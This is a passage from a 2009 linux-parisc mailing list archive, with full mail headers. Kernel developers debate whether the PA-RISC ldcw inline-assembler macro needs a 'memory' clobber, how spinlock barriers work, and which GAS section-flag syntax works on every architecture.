To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 18:05:59 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <20090501220600.9E2DB4FC3@hiauly1.hia.nrc.ca>
References: <20090501214632.GD18899@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241215576 8838 80.91.229.12 (1 May 2009 22:06:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 22:06:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org, deller@gmx.de,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca, varenet@debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 00:06:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M00rt-0004sc-LZ
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 00:06:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753174AbZEAWGD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 18:06:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754766AbZEAWGD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 18:06:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4449 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753174AbZEAWGC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 18:06:02 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9E2DB4FC3; Fri,  1 May 2009 18:06:00 -0400 (EDT)
In-Reply-To: <20090501214632.GD18899@bombadil.infradead.org> from "Kyle McMartin" at May 1, 2009 05:46:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1624
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1624>

> On Fri, May 01, 2009 at 05:37:18PM -0400, John David Anglin wrote:
> > On Fri, 01 May 2009, Carlos O'Donell wrote:
> > 
> > > Historical note...
> > > 
> > > We clobber all of memory in userspace, like this:
> > > ~~~
> > > #define __ldcw(a) \
> > > ({                                                                      \
> > >   unsigned int __ret;                                                   \
> > >   __asm__ __volatile__("ldcw 0(%1),%0"                                  \
> > >                        : "=r" (__ret) : "r" (a) : "memory");            \
> > >   __ret;                                                                \
> > > })
> > > ~~~
> > > I wonder if I should change that to match the kernel?
> > 
> > The above is perfectly safe.  I believe the kernel provides a memory
> > barrier when necessary.  There's a discussion somewhere in the mail
> > archives.
> > 
> 
> I, er, don't think we do, not for the spinlock primitives at least, as
> far as I can tell...

Ok, I'm going to see if the "memory" clobber improves life.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 18:25:40 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <20090501222540.GE18899@bombadil.infradead.org>
References: <49FA1AA1.3060104@gmx.de> <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com> <20090501213717.GA19522@hiauly1.hia.nrc.ca> <20090501214632.GD18899@bombadil.infradead.org> <1241215392.3302.43.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241216777 11741 80.91.229.12 (1 May 2009 22:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 22:26:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Thibaut VARENE <varenet@debian.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 00:26:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M01BF-0003Ff-MH
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 00:26:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757215AbZEAWZu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 18:25:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761087AbZEAWZu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 18:25:50 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54513 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756281AbZEAWZt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 18:25:49 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M01Aq-0004fF-Lo; Fri, 01 May 2009 22:25:40 +0000
Content-Disposition: inline
In-Reply-To: <1241215392.3302.43.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1625>

On Fri, May 01, 2009 at 10:03:12PM +0000, James Bottomley wrote:
> On Fri, 2009-05-01 at 17:46 -0400, Kyle McMartin wrote:
> > On Fri, May 01, 2009 at 05:37:18PM -0400, John David Anglin wrote:
> > > On Fri, 01 May 2009, Carlos O'Donell wrote:
> > > 
> > > > Historical note...
> > > > 
> > > > We clobber all of memory in userspace, like this:
> > > > ~~~
> > > > #define __ldcw(a) \
> > > > ({                                                                      \
> > > >   unsigned int __ret;                                                   \
> > > >   __asm__ __volatile__("ldcw 0(%1),%0"                                  \
> > > >                        : "=r" (__ret) : "r" (a) : "memory");            \
> > > >   __ret;                                                                \
> > > > })
> > > > ~~~
> > > > I wonder if I should change that to match the kernel?
> > > 
> > > The above is perfectly safe.  I believe the kernel provides a memory
> > > barrier when necessary.  There's a discussion somewhere in the mail
> > > archives.
> > > 
> > 
> > I, er, don't think we do, not for the spinlock primitives at least, as
> > far as I can tell...
> 
> Yes we do ... look in asm/spinlock.h
> 
> it's all the mb(); statements that are scattered through our _raw_spin_
> ops
> 
> The original problem was that the spinlocks were compile barrier leaky
> and caused infrequent but hard to debug issues on smp.  The barriers are
> likely overkill (since we have two in each) but at least they prevent
> problems.
> 

Yeah, I was looking at the lack of a barrier between ldcw and the test
of *a == 0. I guess this would be fixed by Helge's patch.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 01 May 2009 17:36:14 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <1241217374.3302.50.camel@mulgrave.int.hansenpartnership.com>
References: <49FA1AA1.3060104@gmx.de>
	 <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com>
	 <20090501213717.GA19522@hiauly1.hia.nrc.ca>
	 <20090501214632.GD18899@bombadil.infradead.org>
	 <1241215392.3302.43.camel@mulgrave.int.hansenpartnership.com>
	 <20090501222540.GE18899@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241217389 13404 80.91.229.12 (1 May 2009 22:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 22:36:29 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Thibaut VARENE <varenet@debian.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 00:36:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M01L9-0007Ef-HN
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 00:36:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751913AbZEAWgR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 18:36:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752026AbZEAWgR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 18:36:17 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60996 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751913AbZEAWgQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 18:36:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3B1E78EE195;
	Fri,  1 May 2009 15:36:16 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0EQ-YS5005A3; Fri,  1 May 2009 15:36:16 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 806808EE13D;
	Fri,  1 May 2009 15:36:15 -0700 (PDT)
In-Reply-To: <20090501222540.GE18899@bombadil.infradead.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1626>

On Fri, 2009-05-01 at 18:25 -0400, Kyle McMartin wrote:
> On Fri, May 01, 2009 at 10:03:12PM +0000, James Bottomley wrote:
> > On Fri, 2009-05-01 at 17:46 -0400, Kyle McMartin wrote:
> > > On Fri, May 01, 2009 at 05:37:18PM -0400, John David Anglin wrote:
> > > > On Fri, 01 May 2009, Carlos O'Donell wrote:
> > > > 
> > > > > Historical note...
> > > > > 
> > > > > We clobber all of memory in userspace, like this:
> > > > > ~~~
> > > > > #define __ldcw(a) \
> > > > > ({                                                                      \
> > > > >   unsigned int __ret;                                                   \
> > > > >   __asm__ __volatile__("ldcw 0(%1),%0"                                  \
> > > > >                        : "=r" (__ret) : "r" (a) : "memory");            \
> > > > >   __ret;                                                                \
> > > > > })
> > > > > ~~~
> > > > > I wonder if I should change that to match the kernel?
> > > > 
> > > > The above is perfectly safe.  I believe the kernel provides a memory
> > > > barrier when necessary.  There's a discussion somewhere in the mail
> > > > archives.
> > > > 
> > > 
> > > I, er, don't think we do, not for the spinlock primitives at least, as
> > > far as I can tell...
> > 
> > Yes we do ... look in asm/spinlock.h
> > 
> > it's all the mb(); statements that are scattered through our _raw_spin_
> > ops
> > 
> > The original problem was that the spinlocks were compile barrier leaky
> > and caused infrequent but hard to debug issues on smp.  The barriers are
> > likely overkill (since we have two in each) but at least they prevent
> > problems.
> > 
> 
> Yeah, I was looking at the lack of a barrier between ldcw and the test
> of *a == 0. I guess this would be fixed by Helge's patch.

OK, now I'm confused.  Barriers are used to inform the compiler about
interlocks it isn't aware of (like when an asm changes a variable).  The
ldcw and the *a both mention a which is sufficient an interlock for the
compiler to get it right without any barrier.

Added to which, *a is declared volatile, which is enough of a cautionary
note to make the compiler behave in a very straightforward fashion.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 18:39:40 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090501223940.GA10501@bombadil.infradead.org>
References: <49FA1AA1.3060104@gmx.de> <119aab440905011118lbc3bcectfd5862477c2598a8@mail.gmail.com> <20090501213717.GA19522@hiauly1.hia.nrc.ca> <20090501214632.GD18899@bombadil.infradead.org> <1241215392.3302.43.camel@mulgrave.int.hansenpartnership.com> <20090501222540.GE18899@bombadil.infradead.org> <1241217374.3302.50.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241217606 13965 80.91.229.12 (1 May 2009 22:40:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 22:40:06 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Thibaut VARENE <varenet@debian.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 00:39:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M01OY-0008UN-IS
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 00:39:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760947AbZEAWjs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 18:39:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764078AbZEAWjs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 18:39:48 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44188 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760947AbZEAWjr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 18:39:47 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M01OO-0006yb-U8; Fri, 01 May 2009 22:39:41 +0000
Content-Disposition: inline
In-Reply-To: <1241217374.3302.50.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1627
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1627>

On Fri, May 01, 2009 at 05:36:14PM -0500, James Bottomley wrote:
> 
> OK, now I'm confused.  Barriers are used to inform the compiler about
> interlocks it isn't aware of (like when an asm changes a variable).  The
> ldcw and the *a both mention a which is sufficient an interlock for the
> compiler to get it right without any barrier.
> 
> Added to which, *a is declared volatile, which is enough of a cautionary
> note to make the compiler behave in a very straightforward fashion.
> 

I guess... I don't understand the gcc clobber semantics on asm()
anymore, I'm just thinking of that stupid bug with ip_fast_csum we saw
on parisc a few years ago...

Don't mind me.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Fri, 1 May 2009 18:55:00 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090501225500.7F7134FB2@hiauly1.hia.nrc.ca>
References: <20090501223940.GA10501@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241218517 16001 80.91.229.12 (1 May 2009 22:55:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 22:55:17 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, kyle@mcmartin.ca,
	dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org, deller@gmx.de,
	linux-parisc@vger.kernel.org, varenet@debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 00:55:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M01dL-0005pg-5D
	for glpp-linux-parisc@gmane.org; Sat, 02 May 2009 00:55:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756042AbZEAWzE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 May 2009 18:55:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762043AbZEAWzD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 May 2009 18:55:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4458 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756042AbZEAWzC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 May 2009 18:55:02 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7F7134FB2; Fri,  1 May 2009 18:55:00 -0400 (EDT)
In-Reply-To: <20090501223940.GA10501@bombadil.infradead.org> from "Kyle McMartin" at May 1, 2009 06:39:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1628>

> I guess... I don't understand the gcc clobber semantics on asm()
> anymore, I'm just thinking of that stupid bug with ip_fast_csum we saw
> on parisc a few years ago...

These are in fact subtle and complex.  There were two or three bugs
that appeared in the transition to 4.4.0 as a result of the change
to the new register allocator.  In paricular, using clobbers of hard
registers in call patterns caused a number of problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@linux-m68k.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.hardware.blackfin.kernel.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Sat, 02 May 2009 01:02:12 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <m2tz44o2a3.fsf@igel.home>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
	<1241121253-32341-2-git-send-email-tabbott@mit.edu>
	<20090501091848.GB18326@uranus.ravnborg.org>
	<alpine.DEB.1.10.0905010951100.3955@vinegar-pot.mit.edu>
	<49FB2449.1010301@zytor.com>
	<20090501171717.GA26401@uranus.ravnborg.org>
	<49FB2EDC.9050300@zytor.com>
	<20090501174457.GA26559@uranus.ravnborg.org>
	<49FB35C4.6060107@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241219001 17296 80.91.229.12 (1 May 2009 23:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 23:03:21 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, linux-mips@linux-mips.org,
	linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-sh@vger.kernel.org,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Tim Abbott <tabbott@MIT.EDU>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	Greg Ungerer <gerg@uclinux.org>, sparclinux@vger.kernel.org,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-s390@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Russell King <rmk+kernel@arm.linux.org.uk>,
	user-mode-linux-devel@lists.sourceforge.net,
	microblaze-uclinux@itee.uq.edu.au, Jeff Dike <jdike@addtoit.com>,
	Jeff Arnold <jbarnold@MIT.EDU>, dev-etrax@axis.com,
	Mikael Starvik <starvik@axis.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-mips-bounce@linux-mips.org Sat May 02 01:03:04 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M01l0-0000My-72
	for sgi-linux-mips@gmane.org; Sat, 02 May 2009 01:03:02 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:33605 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S28574087AbZEAXC7 (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Sat, 2 May 2009 00:02:59 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 02 May 2009 00:02:42 +0100 (BST)
Original-Received: from mail-out.m-online.net ([212.18.0.9]:35618 "EHLO
	mail-out.m-online.net" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S28574086AbZEAXCf (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Sat, 2 May 2009 00:02:35 +0100
Original-Received: from mail01.m-online.net (mail.m-online.net [192.168.3.149])
	by mail-out.m-online.net (Postfix) with ESMTP id 241241C15368;
	Sat,  2 May 2009 01:02:15 +0200 (CEST)
Original-Received: from localhost (dynscan2.mnet-online.de [192.168.1.215])
	by mail.m-online.net (Postfix) with ESMTP id 8B89E90197;
	Sat,  2 May 2009 01:02:15 +0200 (CEST)
X-Virus-Scanned: amavisd-new at mnet-online.de
Original-Received: from mail.mnet-online.de ([192.168.3.149])
	by localhost (dynscan2.mnet-online.de [192.168.1.215]) (amavisd-new, port 10024)
	with ESMTP id J5MY1fAE9fML; Sat,  2 May 2009 01:02:13 +0200 (CEST)
Original-Received: from igel.home (DSL01.83.171.176.91.ip-pool.NEFkom.net [83.171.176.91])
	by mail.mnet-online.de (Postfix) with ESMTP;
	Sat,  2 May 2009 01:02:13 +0200 (CEST)
Original-Received: by igel.home (Postfix, from userid 501)
	id E9F0B10DA5D; Sat,  2 May 2009 01:02:12 +0200 (CEST)
X-Yow: I'm MENTALLY here..  but PHYSICALLY I'm purchasing NAUGAHYDE furniture
 in the' SUBURBS of PHOENIX!!
In-Reply-To: <49FB35C4.6060107@zytor.com> (H. Peter Anvin's message of "Fri,
	01 May 2009 10:47:48 -0700")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.93 (gnu/linux)
X-archive-position: 22599
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: schwab@linux-m68k.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23628 gmane.linux.ports.m68k:706 gmane.linux.ports.ia64:20336 gmane.linux.ports.sh.devel:5880 gmane.linux.ports.ppc64.devel:55781 gmane.linux.ports.sparc:11568 gmane.linux.uml.devel:12197 gmane.linux.uclinux.microblaze:8599 gmane.linux.ports.parisc:1629 gmane.linux.kernel:831006 gmane.linux.ports.alpha:535 gmane.linux.hardware.blackfin.kernel.devel:1373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1629>

"H. Peter Anvin" <hpa@zytor.com> writes:

> Sam Ravnborg wrote:
>>>
>>> What's wrong with @?
>> arm does not support it :-(
>> I recall it denote a comment in arm assembler.
>> 
>> I could do some magic to detect the ARM case but I'm reluctant to do so.
>> I could also ignore the arm issue for now as it is not used by arm,
>> but that strikes me as the wrong approach.
>> 
>
> If we really have to use different tokens, I would say:
>
> #ifdef __ARM__
> # define _PROGBITS %progbits	/* or whatever */
> # define _NOBITS   %nobits
> #else
> # define _PROGBITS @progbits
> # define _NOBITS   @nobits
> #endif

GAS has always supported both '@' and '%', so '%' can be used
everywhere.

Andreas.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."



From - Thu Nov 08 21:04:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Missing syscalls in 2.6.30-rc4
Date: Fri, 1 May 2009 21:28:19 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20090502012823.955BA4E9F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241227758 1290 80.91.229.12 (2 May 2009 01:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 May 2009 01:29:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 02 03:29:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
